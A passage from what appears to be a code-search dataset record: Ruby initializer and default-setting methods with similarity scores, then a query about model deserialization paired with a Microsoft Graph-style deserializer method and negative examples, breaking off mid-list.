= { :adress => '', #server is localhost\r\n :password => ''\r\n }.merge(values)\r\n \r\n \r\n #raise \"Notes password missing\" unless settings[:password]\r\n raise \"Notes db missing\" unless settings[:db]\r\n raise \"Notes user_name missing\" unless settings[:user_name]\r\n \r\n if settings[:mock_win32ole] \r\n $LOAD_PATH.unshift File.dirname(__FILE__) + '/../test/mock/win32ole'\r\n end\r\n require 'win32ole'\r\n \r\n if settings[:logger] and !@@logger\r\n NotesMailer.init_logger(settings[:debug])\r\n end\r\n\r\n log_debug \"--- settings --- \"\r\n log_debug settings\r\n\r\n s = WIN32OLE.new 'Lotus.NotesSession'\r\n s.Initialize(settings[:password])\r\n \r\n @notes_db = s.GetDatabase(settings[:adress], settings[:db])\r\n raise \"Cannot open #{settings[:db]}\" unless @notes_db.IsOpen()\r\n\r\n end", "def defaults\n default_pass = 'demo'\n \n self.step ||= 0 # can be 0, 1, 2, 3 (done)\n @timerange ||= TimeRange.new(Date.today.strftime(\"%F\"), \"15:00\", \"18:00\")\n self.party_of ||= 'single'\n self.host ||= User.new( :completeness => 'discovery', :password => default_pass ) # can receive current_user from the controller\n self.friend ||= User.new( :completeness => 'invite' ) # only validate if it's a single date\n end", "def set_defaults\n self.state ||= 'NEW'\n self.account_id ||= Gizmo::Util::Uuid.generate\n self.account_name ||= self.subdomain\n end", "def initialize(o_auth_client_id: nil, o_auth_client_secret: nil)\r\n Configuration.o_auth_client_id = o_auth_client_id if\r\n o_auth_client_id\r\n Configuration.o_auth_client_secret = o_auth_client_secret if\r\n o_auth_client_secret\r\n end", "def initialize(tenant_id, client_id, username, password, settings = ActiveDirectoryServiceSettings.get_azure_settings)\n fail ArgumentError, 'Tenant id cannot be nil' if tenant_id.nil?\n fail ArgumentError, 'Client id cannot be nil' if client_id.nil?\n fail ArgumentError, 'Username cannot be nil' if username.nil?\n fail ArgumentError, 'Password cannot be nil' if password.nil?\n fail ArgumentError, 'Azure AD settings cannot be nil' if settings.nil?\n\n @tenant_id = tenant_id\n @client_id = client_id\n @username = username\n @password = password\n @settings = settings\n\n @expiration_threshold = 5 * 60\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.androidWorkProfileCompliancePolicy\"\n end", "def initialize(attributes={})\n @account_sid = Rails.application.secrets.twilio_account_id\n @auth_token = Rails.application.secrets.twilio_auth_token\n end", "def initialize(ip_address, current_user_session)\n @guid = UUIDTools::UUID.random_create.to_s\n @ip_address = ip_address\n @current_session = current_user_session\n end", "def reset\n self.company_id = DEFAULT_COMPANY_ID\n self.user_key = DEFAULT_USER_KEY\n self.secret_key = DEFAULT_SECRET_KEY\n self.endpoint = DEFAULT_ENDPOINT\n end", "def initialize\n @uuid = \"_\" + UUID.new.generate\n end", "def new\n @setup = EsSetup.new()\n @setup.read_only = 'N'\n end", "def initialize\n @id = -1\n @login = \"anonymous\"\n @name = \"Some User\"\n end", "def defaults\n {\n 'UID' => \"tilia-vobject-#{UuidUtil.uuid}\",\n 'DTSTAMP' => Time.zone.now.strftime('%Y%m%dT%H%M%SZ')\n }\n end", "def initialize\n self.imap = OpenStruct.new\n self.smtp = OpenStruct.new\n self.service = OpenStruct.new\n self.application = OpenStruct.new\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.deviceAndAppManagementRoleDefinition\"\n end", "def initialize_default_values!\n Marshal.load(Marshal.dump(self.class.default_values)).each do |k, v|\n self[k] ||= v\n end\n end", "def initialize(params={})\n super params\n\n # self._id = self.properties[:uuid]\n\n end", "def new(**settings)\n __new_without_defaults__(\n **default_settings.merge(settings)\n )\n end", "def device_id=(value)\n if value == @defaults['deviceId']\n @values.delete 'deviceId' if @values.key? 'deviceId'\n else\n @values['deviceId'] = value\n end\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.targetedManagedAppProtection\"\n end", "def set_default_values\n self.points_log ||= POINTS_LOG\n self.points_log_first_of_day ||= POINTS_LOG_FIRST_OF_DAY\n self.points_peer_assessment ||= POINTS_PEER_ASSESSMENT\n self.points_peer_assessment_first_of_team ||= POINTS_PEER_ASSESSMENT_FIRST_OF_TEAM\n self.points_project_evaluation ||= POINTS_PROJECT_EVALUATION\n self.points_project_evaluation_first_of_team ||= POINTS_PROJECT_EVALUATION_FIRST_OF_TEAM\n self.max_logs_per_day ||= MAX_LOGS_PER_DAY\n self.points_project_evaluation_submitted_first_day ||= POINTS_PROJECT_EVALUATION_SUBMITTED_FIRST_DAY\n self.points_peer_assessment_submitted_first_day ||= POINTS_PEER_ASSESSMENT_SUBMITTED_FIRST_DAY\n self.marking_algorithm_id ||= MARKING_ALGORITHM_ID\n end", "def assign_uuid\n self.uuid = UUIDTools::UUID.random_create.to_s\n self.document_number ||= Numerator.get_number\n end", "def init_default_config\n configuration.project_id ||= Debugger.default_project_id\n configuration.credentials ||= Debugger.default_credentials\n configuration.service_name ||= Debugger.default_service_name\n configuration.service_version ||= Debugger.default_service_version\n end", "def user_setup\n\t\tif self.id.blank?\n\t\t\tself.id = self.email\n\t\t\n\t\tend\n\tend", "def initialize(input)\n ##\n # Adds configuration params to input\n input.merge!(DigiDoc4.configuration.instance_variables_hash)\n\n ##\n # Adds input params to instance variabless\n input.each { |k, v| instance_variable_set(\"@#{k}\", v) }\n\n ##\n # Sets base_url based on class instance\n @base_url = case self.class.name\n when 'DigiDoc4::MobileID' then @mobile_id_base_url\n when 'DigiDoc4::SmartID' then @smart_id_base_url\n end\n\n rv = %w[@relying_party_uuid @relying_party_name @base_url @identity_code]\n rv -= instance_variables.map(&:to_s)\n\n raise ArgumentError, \"Missing input variable(s): [\\\"#{rv.join('\", \"')}\\\"]\" unless rv.empty?\n end", "def identity(options = {})\n self._identity = options\n end", "def new\n @import = Import.new\n end", "def initialize(opts={})\n id = opts[:id] || SecureRandom.uuid\n setup(opts) if opts[:username] or opts[:password]\n end", "def new_org_dxid\n Org.construct_dxorg(orgname)\n end", "def set_defaults(id, key)\n default_id = id\n default_key = key\n end", "def set_oid_model\n @oid_model = OidModel.find(params[:id])\n end", "def set_identity\n @identity = Identity.find(params[:id])\n end", "def set_identity\n @identity = Identity.find(params[:id])\n end", "def set_identity\n @identity = Identity.find(params[:id])\n end", "def initialize( *argv )\n \n super( *argv )\n\n if @default_id\n unless @rubies.key?( @default_id )\n raise \"Default id #@default_id not a defined ruby\"\n end\n end\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.appManagementPolicy\"\n end", "def reset_to_defaults!\n @allowlist_regexp = nil\n @custom_http_auth_scheme = UnsetString.new(\"custom_http_auth_scheme\")\n @env_var_to_hold_api_client_primary_key = NonNullString.new(\"env_var_to_hold_api_client_primary_key\",\"STITCHES_API_CLIENT_ID\")\n @env_var_to_hold_api_client= NonNullString.new(\"env_var_to_hold_api_client\",\"STITCHES_API_CLIENT\")\n @max_cache_ttl = NonNullInteger.new(\"max_cache_ttl\", 0)\n @max_cache_size = NonNullInteger.new(\"max_cache_size\", 0)\n @disabled_key_leniency_in_seconds = ActiveSupport::Duration.days(3)\n @disabled_key_leniency_error_log_threshold_in_seconds = ActiveSupport::Duration.days(2)\n end", "def initialize\n\t\tself.parameters = {}\n\t\tself.user_id = -1\n\t\tself.new_user = false\n\tend", "def set_default_values\n # Ethernet configuration\n self.network_1_id ||= 1\n self.ethernet_ip_assignment_method_id ||=1\n # GRPS\n self.gprs_mtu ||= 1450\n # PSTN\n self.pstn_mtu ||= 1500\n # Time configuration\n self.time_zone ||= 'UTC'\n # Interval configuration\n self.configuration_update_interval ||= 3600\n self.status_interval ||= 3600\n self.send_data_interval ||= 86400\n # Software update configuration\n self.auto_update ||= false\n self.software_update_interval ||= 604800\n self.repo_type ||= 'stable'\n # Log configuration\n self.send_log_files ||= false\n # State XML\n self.state_xml ||= \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n<modified>true</modified>\\n\"\n end", "def initialize(data=nil, t=nil)\n @data = data || generate_id(t)\n end", "def set_identifier\n self.identifier ||= SecureRandom.uuid\n end", "def initialize elementId, mandatory, name, datatype, pic, **options\n @fullId = elementId\n @shortId = elementId.split('-',2)[1]\n @name = name\n @mandatory = mandatory\n @datatype = datatype\n @wholePartSize = pic[0]\n @decimalSize = pic[1]\n @value = options[:value]\n @fieldControl = options[:fieldControl]\n @modelField = options[:modelField]\n end", "def initialize(user_context, record)\n @acting_user, @system_settings = extract user_context\n @record = record\n end", "def add_default_values\n ensure_license\n ensure_publisher\n ensure_resource_type\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.userScopeTeamsAppInstallation\"\n end", "def initialize(options = {}) # :nodoc:\n if options[:id].nil? and options[:context]\n super(:id => \"#{GENERATED_PREFIX}_wave_#{unique_id}\", :context => options[:context])\n else\n super(options)\n end\n\n @wavelet_ids = options[:wavelet_ids] || []\n end", "def insert_default_params_into_new_item_object\n payload_value_obj = PayloadValueFlc.new_by_flight_creator_object(self)\n @new_item.boarding_duration_in_seconds = plane.aircrafttype.boarding_duration_default\n @new_item.taxi_duration_in_seconds = departure_airport.taxi_duration_default\n @new_item.flight_miles = route_length_in_miles_not_rounded.to_int\n @new_item.pax_count = plane.avg_pax_count\n @new_item.payload_value_flc = payload_value_obj.payload_value_flc\n @new_item.code = generate_flight_code\n end", "def identify\n Identity.new(self).create\n nil\n end" ]
[ "0.54743296", "0.5067282", "0.50530857", "0.50308394", "0.5019731", "0.49778712", "0.49431852", "0.48790756", "0.4875615", "0.48679578", "0.48622453", "0.48243284", "0.48113123", "0.48056272", "0.47739807", "0.4771653", "0.4767872", "0.47584084", "0.4747075", "0.4726015", "0.47224316", "0.47193483", "0.47090805", "0.46960288", "0.4681771", "0.467257", "0.46717745", "0.46631557", "0.46484387", "0.46369535", "0.46292725", "0.46289062", "0.461909", "0.46108907", "0.4606242", "0.46044362", "0.45783937", "0.4570217", "0.45682734", "0.4565071", "0.45539773", "0.45453843", "0.45387766", "0.45358512", "0.45120695", "0.4507135", "0.4490765", "0.44889516", "0.44889516", "0.44882438", "0.4480156", "0.44775394", "0.44737488", "0.4469253", "0.44682917", "0.44622186", "0.44597092", "0.44541758", "0.44520533", "0.444653", "0.4445849", "0.44430396", "0.4442586", "0.44403884", "0.44387224", "0.44364008", "0.44306973", "0.44302726", "0.4428101", "0.44203132", "0.44193444", "0.4411365", "0.44096556", "0.44093207", "0.43976712", "0.4395211", "0.4394809", "0.43933967", "0.4391954", "0.43876597", "0.43850362", "0.43805298", "0.43774292", "0.4374108", "0.4370605", "0.4370605", "0.4370605", "0.43672863", "0.436493", "0.43623772", "0.4362078", "0.43560478", "0.43556297", "0.43550307", "0.434696", "0.43424633", "0.43377078", "0.4335566", "0.4332106", "0.43313423", "0.43301722" ]
0.0
-1
The deserialization information for the current model
def get_field_deserializers() return super.merge({ "assignedUserPrincipalName" => lambda {|n| @assigned_user_principal_name = n.get_string_value() }, "groupTag" => lambda {|n| @group_tag = n.get_string_value() }, "hardwareIdentifier" => lambda {|n| @hardware_identifier = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) }, "importId" => lambda {|n| @import_id = n.get_string_value() }, "productKey" => lambda {|n| @product_key = n.get_string_value() }, "serialNumber" => lambda {|n| @serial_number = n.get_string_value() }, "state" => lambda {|n| @state = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ImportedWindowsAutopilotDeviceIdentityState.create_from_discriminator_value(pn) }) }, }) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def deserialized\n @deserialized ||= @serializer.deserialize @serialized_object\n end", "def get_field_deserializers()\n return super.merge({\n \"detectionStatus\" => lambda {|n| @detection_status = n.get_enum_value(MicrosoftGraph::Models::SecurityDetectionStatus) },\n \"fileDetails\" => lambda {|n| @file_details = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SecurityFileDetails.create_from_discriminator_value(pn) }) },\n \"mdeDeviceId\" => lambda {|n| @mde_device_id = n.get_string_value() },\n })\n end", "def serialized_attributes\n read_inheritable_attribute(\"attr_serialized\") || { }\n end", "def get_field_deserializers()\n return super.merge({\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"file\" => lambda {|n| @file = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"fileHash\" => lambda {|n| @file_hash = n.get_string_value() },\n \"version\" => lambda {|n| @version = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"committedContentVersion\" => lambda {|n| @committed_content_version = n.get_string_value() },\n \"contentVersions\" => lambda {|n| @content_versions = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::MobileAppContent.create_from_discriminator_value(pn) }) },\n \"fileName\" => lambda {|n| @file_name = n.get_string_value() },\n \"size\" => lambda {|n| @size = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n })\n end", "def get_field_deserializers()\n return {\n \"attribution\" => lambda {|n| @attribution = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ImageInfo.create_from_discriminator_value(pn) }) },\n \"backgroundColor\" => lambda {|n| @background_color = n.get_string_value() },\n \"content\" => lambda {|n| @content = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"displayText\" => lambda {|n| @display_text = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"detectionType\" => lambda {|n| @detection_type = n.get_string_value() },\n \"method\" => lambda {|n| @method = n.get_string_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"lastModifiedDateTime\" => lambda {|n| @last_modified_date_time = n.get_date_time_value() },\n \"resource\" => lambda {|n| @resource = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Entity.create_from_discriminator_value(pn) }) },\n \"resourceReference\" => lambda {|n| @resource_reference = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ResourceReference.create_from_discriminator_value(pn) }) },\n \"resourceVisualization\" => lambda {|n| @resource_visualization = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ResourceVisualization.create_from_discriminator_value(pn) }) },\n \"weight\" => lambda {|n| @weight = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n })\n end", "def get_field_deserializers()\n return {\n \"isEnabled\" => lambda {|n| @is_enabled = n.get_boolean_value() },\n \"maxImageSize\" => lambda {|n| @max_image_size = n.get_number_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"timeout\" => lambda {|n| @timeout = n.get_duration_value() },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"contentData\" => lambda {|n| @content_data = n.get_string_value() },\n \"fileName\" => lambda {|n| @file_name = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return {\n \"applicationVersion\" => lambda {|n| @application_version = n.get_string_value() },\n \"headerValue\" => lambda {|n| @header_value = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"callEndSubReason\" => lambda {|n| @call_end_sub_reason = n.get_number_value() },\n \"callType\" => lambda {|n| @call_type = n.get_string_value() },\n \"calleeNumber\" => lambda {|n| @callee_number = n.get_string_value() },\n \"callerNumber\" => lambda {|n| @caller_number = n.get_string_value() },\n \"correlationId\" => lambda {|n| @correlation_id = n.get_string_value() },\n \"duration\" => lambda {|n| @duration = n.get_number_value() },\n \"endDateTime\" => lambda {|n| @end_date_time = n.get_date_time_value() },\n \"failureDateTime\" => lambda {|n| @failure_date_time = n.get_date_time_value() },\n \"finalSipCode\" => lambda {|n| @final_sip_code = n.get_number_value() },\n \"finalSipCodePhrase\" => lambda {|n| @final_sip_code_phrase = n.get_string_value() },\n \"id\" => lambda {|n| @id = n.get_string_value() },\n \"inviteDateTime\" => lambda {|n| @invite_date_time = n.get_date_time_value() },\n \"mediaBypassEnabled\" => lambda {|n| @media_bypass_enabled = n.get_boolean_value() },\n \"mediaPathLocation\" => lambda {|n| @media_path_location = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"signalingLocation\" => lambda {|n| @signaling_location = n.get_string_value() },\n \"startDateTime\" => lambda {|n| @start_date_time = n.get_date_time_value() },\n \"successfulCall\" => lambda {|n| @successful_call = n.get_boolean_value() },\n \"trunkFullyQualifiedDomainName\" => lambda {|n| @trunk_fully_qualified_domain_name = n.get_string_value() },\n \"userDisplayName\" => lambda {|n| @user_display_name = n.get_string_value() },\n \"userId\" => lambda {|n| @user_id = n.get_string_value() },\n \"userPrincipalName\" => lambda {|n| @user_principal_name = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"isCourseActivitySyncEnabled\" => lambda {|n| @is_course_activity_sync_enabled = n.get_boolean_value() },\n \"learningContents\" => lambda {|n| @learning_contents = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::LearningContent.create_from_discriminator_value(pn) }) },\n \"learningCourseActivities\" => lambda {|n| @learning_course_activities = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::LearningCourseActivity.create_from_discriminator_value(pn) }) },\n \"loginWebUrl\" => lambda {|n| @login_web_url = n.get_string_value() },\n \"longLogoWebUrlForDarkTheme\" => lambda {|n| @long_logo_web_url_for_dark_theme = n.get_string_value() },\n \"longLogoWebUrlForLightTheme\" => lambda {|n| @long_logo_web_url_for_light_theme = n.get_string_value() },\n \"squareLogoWebUrlForDarkTheme\" => lambda {|n| @square_logo_web_url_for_dark_theme = n.get_string_value() },\n \"squareLogoWebUrlForLightTheme\" => lambda {|n| @square_logo_web_url_for_light_theme = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return {\n \"itemId\" => lambda {|n| @item_id = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"title\" => lambda {|n| @title = n.get_string_value() },\n \"versionId\" => lambda {|n| @version_id = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"buildNumber\" => lambda {|n| @build_number = n.get_string_value() },\n \"bundleId\" => lambda {|n| @bundle_id = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"versionNumber\" => lambda {|n| @version_number = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"parentNotebook\" => lambda {|n| @parent_notebook = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Notebook.create_from_discriminator_value(pn) }) },\n \"parentSectionGroup\" => lambda {|n| @parent_section_group = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SectionGroup.create_from_discriminator_value(pn) }) },\n \"sectionGroups\" => lambda {|n| @section_groups = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::SectionGroup.create_from_discriminator_value(pn) }) },\n \"sectionGroupsUrl\" => lambda {|n| @section_groups_url = n.get_string_value() },\n \"sections\" => lambda {|n| @sections = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::OnenoteSection.create_from_discriminator_value(pn) }) },\n \"sectionsUrl\" => lambda {|n| @sections_url = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"appDisplayName\" => lambda {|n| @app_display_name = n.get_string_value() },\n \"dataType\" => lambda {|n| @data_type = n.get_string_value() },\n \"isSyncedFromOnPremises\" => lambda {|n| @is_synced_from_on_premises = n.get_boolean_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"targetObjects\" => lambda {|n| @target_objects = n.get_collection_of_primitive_values(String) },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"detectionStatus\" => lambda {|n| @detection_status = n.get_enum_value(MicrosoftGraph::Models::SecurityDetectionStatus) },\n \"imageFile\" => lambda {|n| @image_file = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SecurityFileDetails.create_from_discriminator_value(pn) }) },\n \"mdeDeviceId\" => lambda {|n| @mde_device_id = n.get_string_value() },\n \"parentProcessCreationDateTime\" => lambda {|n| @parent_process_creation_date_time = n.get_date_time_value() },\n \"parentProcessId\" => lambda {|n| @parent_process_id = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"parentProcessImageFile\" => lambda {|n| @parent_process_image_file = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SecurityFileDetails.create_from_discriminator_value(pn) }) },\n \"processCommandLine\" => lambda {|n| @process_command_line = n.get_string_value() },\n \"processCreationDateTime\" => lambda {|n| @process_creation_date_time = n.get_date_time_value() },\n \"processId\" => lambda {|n| @process_id = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"userAccount\" => lambda {|n| @user_account = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SecurityUserAccount.create_from_discriminator_value(pn) }) },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"clientContext\" => lambda {|n| @client_context = n.get_string_value() },\n \"resultInfo\" => lambda {|n| @result_info = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ResultInfo.create_from_discriminator_value(pn) }) },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::OperationStatus) },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"completedDateTime\" => lambda {|n| @completed_date_time = n.get_date_time_value() },\n \"progress\" => lambda {|n| @progress = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::DataPolicyOperationStatus) },\n \"storageLocation\" => lambda {|n| @storage_location = n.get_string_value() },\n \"submittedDateTime\" => lambda {|n| @submitted_date_time = n.get_date_time_value() },\n \"userId\" => lambda {|n| @user_id = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return {\n \"completedUnits\" => lambda {|n| @completed_units = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"progressObservationDateTime\" => lambda {|n| @progress_observation_date_time = n.get_date_time_value() },\n \"totalUnits\" => lambda {|n| @total_units = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"units\" => lambda {|n| @units = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"details\" => lambda {|n| @details = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::DetailsInfo.create_from_discriminator_value(pn) }) },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"provisioningStepType\" => lambda {|n| @provisioning_step_type = n.get_enum_value(MicrosoftGraph::Models::ProvisioningStepType) },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::ProvisioningResult) },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"downloadUri\" => lambda {|n| @download_uri = n.get_string_value() },\n \"expirationDateTime\" => lambda {|n| @expiration_date_time = n.get_date_time_value() },\n \"fulfilledDateTime\" => lambda {|n| @fulfilled_date_time = n.get_date_time_value() },\n \"reviewHistoryPeriodEndDateTime\" => lambda {|n| @review_history_period_end_date_time = n.get_date_time_value() },\n \"reviewHistoryPeriodStartDateTime\" => lambda {|n| @review_history_period_start_date_time = n.get_date_time_value() },\n \"runDateTime\" => lambda {|n| @run_date_time = n.get_date_time_value() },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::AccessReviewHistoryStatus) },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"check32BitOn64System\" => lambda {|n| @check32_bit_on64_system = n.get_boolean_value() },\n \"comparisonValue\" => lambda {|n| @comparison_value = n.get_string_value() },\n \"fileOrFolderName\" => lambda {|n| @file_or_folder_name = n.get_string_value() },\n \"operationType\" => lambda {|n| @operation_type = n.get_enum_value(MicrosoftGraph::Models::Win32LobAppFileSystemOperationType) },\n \"operator\" => lambda {|n| @operator = n.get_enum_value(MicrosoftGraph::Models::Win32LobAppRuleOperator) },\n \"path\" => lambda {|n| @path = n.get_string_value() },\n })\n end", "def read_object\n if @version == 0\n return amf0_deserialize\n else\n return amf3_deserialize\n end\n end", "def get_field_deserializers()\n return {\n \"destinationFileName\" => lambda {|n| @destination_file_name = n.get_string_value() },\n \"sourceFile\" => lambda {|n| @source_file = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ItemReference.create_from_discriminator_value(pn) }) },\n }\n end", "def get_field_deserializers()\n return {\n \"newText\" => lambda {|n| @new_text = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"numBytes\" => lambda {|n| @num_bytes = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"oldText\" => lambda {|n| @old_text = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"startNum\" => lambda {|n| @start_num = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"audioDeviceName\" => lambda {|n| @audio_device_name = n.get_string_value() },\n \"bookingType\" => lambda {|n| @booking_type = n.get_enum_value(MicrosoftGraph::Models::BookingType) },\n \"building\" => lambda {|n| @building = n.get_string_value() },\n \"capacity\" => lambda {|n| @capacity = n.get_number_value() },\n \"displayDeviceName\" => lambda {|n| @display_device_name = n.get_string_value() },\n \"emailAddress\" => lambda {|n| @email_address = n.get_string_value() },\n \"floorLabel\" => lambda {|n| @floor_label = n.get_string_value() },\n \"floorNumber\" => lambda {|n| @floor_number = n.get_number_value() },\n \"isWheelChairAccessible\" => lambda {|n| @is_wheel_chair_accessible = n.get_boolean_value() },\n \"label\" => lambda {|n| @label = n.get_string_value() },\n \"nickname\" => lambda {|n| @nickname = n.get_string_value() },\n \"tags\" => lambda {|n| @tags = n.get_collection_of_primitive_values(String) },\n \"videoDeviceName\" => lambda {|n| @video_device_name = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return {\n \"id\" => lambda {|n| @id = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"targetType\" => lambda {|n| @target_type = n.get_enum_value(MicrosoftGraph::Models::FeatureTargetType) },\n }\n end", "def get_field_deserializers()\n return super.merge({\n \"deviceCount\" => lambda {|n| @device_count = n.get_number_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"managedDevices\" => lambda {|n| @managed_devices = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ManagedDevice.create_from_discriminator_value(pn) }) },\n \"platform\" => lambda {|n| @platform = n.get_enum_value(MicrosoftGraph::Models::DetectedAppPlatformType) },\n \"publisher\" => lambda {|n| @publisher = n.get_string_value() },\n \"sizeInByte\" => lambda {|n| @size_in_byte = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"version\" => lambda {|n| @version = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"activationUrl\" => lambda {|n| @activation_url = n.get_string_value() },\n \"activitySourceHost\" => lambda {|n| @activity_source_host = n.get_string_value() },\n \"appActivityId\" => lambda {|n| @app_activity_id = n.get_string_value() },\n \"appDisplayName\" => lambda {|n| @app_display_name = n.get_string_value() },\n \"contentInfo\" => lambda {|n| @content_info = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"contentUrl\" => lambda {|n| @content_url = n.get_string_value() },\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"expirationDateTime\" => lambda {|n| @expiration_date_time = n.get_date_time_value() },\n \"fallbackUrl\" => lambda {|n| @fallback_url = n.get_string_value() },\n \"historyItems\" => lambda {|n| @history_items = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ActivityHistoryItem.create_from_discriminator_value(pn) }) },\n \"lastModifiedDateTime\" => lambda {|n| @last_modified_date_time = n.get_date_time_value() },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::Status) },\n \"userTimezone\" => lambda {|n| @user_timezone = n.get_string_value() },\n \"visualElements\" => lambda {|n| @visual_elements = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::VisualInfo.create_from_discriminator_value(pn) }) },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"category\" => lambda {|n| @category = n.get_string_value() },\n \"firstSeenDateTime\" => lambda {|n| @first_seen_date_time = n.get_date_time_value() },\n \"host\" => lambda {|n| @host = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SecurityHost.create_from_discriminator_value(pn) }) },\n \"lastSeenDateTime\" => lambda {|n| @last_seen_date_time = n.get_date_time_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"version\" => lambda {|n| @version = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return {\n \"deviceCount\" => lambda {|n| @device_count = n.get_number_value() },\n \"lastUpdateDateTime\" => lambda {|n| @last_update_date_time = n.get_date_time_value() },\n \"malwareIdentifier\" => lambda {|n| @malware_identifier = n.get_string_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"lastActionDateTime\" => lambda {|n| @last_action_date_time = n.get_date_time_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"operation\" => lambda {|n| @operation = n.get_string_value() },\n \"status\" => lambda {|n| @status = 